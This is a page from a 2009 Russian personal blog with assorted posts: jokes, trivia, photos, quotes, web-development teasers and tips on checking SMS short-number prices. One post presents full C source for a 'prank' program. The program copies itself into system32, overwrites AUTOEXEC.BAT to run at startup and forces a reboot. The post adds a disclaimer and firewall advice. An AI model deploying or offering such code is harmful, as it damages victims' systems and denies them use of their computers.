«Знание — могущество».

31 октября 2009

Хеллоуин

написал Figaroo в рубрике Разное @ 19:27

— Сегодня ж Хеллоуин!
— Пойду простынь найду, наряжусь придурком.

29 октября 2009

Интересные вопросы

написал Figaroo в рубрике Разное @ 12:15

Сможете ли Вы ответить на несколько простых вопросов, приведённых ниже? :-)

1. Зачем в солонку кладут несколько рисенок?
2. Почему крышки люков делают круглыми?
3. Каков изначальный смысл слова «стимул»?

UPD:

1. Они впитывают влагу, и соль не слипается в комки.
2. Крышка люка чуть большего диаметра, чем отверстие, никогда не провалится в него. А, допустим, квадратная может провалиться, если её пихать в отверстие по диагонали.
3. Специальная палка для погона скота в Древнем Риме.

20 октября 2009

Подъезд, в котором жил Д. А. Медведев

написал Figaroo в рубрике Разное @ 20:48
150920092414 300x225 Подъезд, в котором жил Д. А. Медведев

Здесь провёл детство Д. А. Медведев

Россия, Питер. Фрунзенский район. Не мог не сфоткать. :)

Автобус «на войну»

написал Figaroo в рубрике Разное @ 20:33
131020092676 300x225 Автобус «на войну»

Автобус на войну

Россия, Питер. В 39-ом автобусе.

18 октября 2009

ответ Пуассону

написал Figaroo в рубрике Разное @ 23:07

Жизнь украшается двумя вещами:
программированием и его изучением.

из Виктора Франкла

написал Figaroo в рубрике Разное @ 01:35

Я видел смысл своей жизни в том,
чтобы помогать другим увидеть
смысл в своей жизни.

Виктор Франкл, «Человек в поисках смысла»

17 октября 2009

Простейший прикол на C

написал Figaroo в рубрике Разное @ 01:07

Представляю Вашему вниманию простейшую программу — прикол, написанную на C.
Одного запуска в Windows с правами администратора будет достаточно, чтобы компьютер уходил в перезагрузку при включении.

#include <stdio.h>
#include <stdlib.h>
int main (void) {
	int num;
	unsigned char *buf = malloc(129);
	FILE *f1, *f2, *f3;
	f1 = fopen("./prikol.exe", "rb");
	f2 = fopen("C:\\WINDOWS\\system32\\prikol.exe", "wb");
	while (num = fread(buf, 1, 128, f1)) {fwrite(buf, 1, num, f2);}
	fclose(f1);
	fclose(f2);
	f3 = fopen("C:\\AUTOEXEC.BAT", "wt");
	fputs("\nC:\\WINDOWS\\system32\\prikol.exe\n", f3);
	fclose(f3);
	system("shutdown -r -f -t 1");
	return 0;
}

*Программа предоставлена исключительно в ознакомительных целях.*

Чтобы такие приколы не срабатывали, настройте Ваш firewall. Например, Agnitum Outpost на повышенном уровне безопасности может контролировать обращения к системным объектам (типа C:\\AUTOEXEC.BAT) и вызов функции system().

7 октября 2009

Работа со строками в кодировке UTF-8 в PHP 5

написал Figaroo в рубрике Web-разработка @ 23:53

Здравствуйте, дорогие читатели.
Всё, что Вы хотели знать про использование UTF-8 в PHP 5, но боялись спросить. :-)

Если верить определению, UTF-8 (от англ. Unicode Transformation Format — формат преобразования Юникода) — в настоящее время распространённая кодировка, реализующая представление Юникода, совместимое с 8-битным кодированием текста.

Если наше web-приложение работает в кодировке UTF-8, то оно будет доступно пользователю из любой страны, т.к. эта кодировка универсальна (в отличие от windows-1251 и прочих) и поддерживается всеми браузерами и платформами. Также, UTF-8 позволяет хранить символы практически всех известных алфавитов (разве что старославянскую письменность не корректно отображает иногда, но не будем об этом:-).

Но есть у неё один минус. Она не поддерживается по умолчанию в PHP 5 (в PHP 6 обещали исправить). Устраним этот недостаток.
Читать дальше →

Автоматическое определение часового пояса в web-приложениях

написал Figaroo в рубрике Web-разработка @ 19:37

Здравствуйте. Здесь и сейчас я расскажу об автоматическом определении часового пояса в Ваших WEB-приложениях. :-)

Обычно, сайты и форумы показывают Вам время в том часовом поясе, в котором расположен сервер с просматриваемым Вами сайтом. Реже — предлагают ручной выбор часового пояса. Сейчас же мы рассмотрим уникальный метод автоматического определения часового пояса, что позволит нам показать пользователю время в том часовом поясе, в котором он находится.
Читать дальше →

2 октября 2009

Как проверить стоимость sms на короткий номер?

написал Figaroo в рубрике Разное @ 21:59

Если Вы хотите проверить реальную стоимость смс (sms) сообщения на короткий номер контент-провайдер мобильного оператора (дабы узнать, не лохотрон ли это или развод), для этого существует пара способов.

В Мегафоне для этого нужно просто напросто набрать с Вашего телефона комбинацию *107*номер#, где слово номер — это короткий номер, который нужно проверить.

В Теле2 существует аналогичный сервис, только необходимо набирать комбинацию *125*номер#.

У МТС есть специальный номер 2282, на который можно послать sms-сообщение с номером, стоимость сообщений на который вы хотите узнать. Пример: отправляете SMS с текстом 1234 на номер 2282, получате ответное SMS, в котором указана стоимость сообщения и другая информация. Бесплатно в домашнем регионе.

© Валерий 'Figaroo' Киркиж, 2008-2012 гг.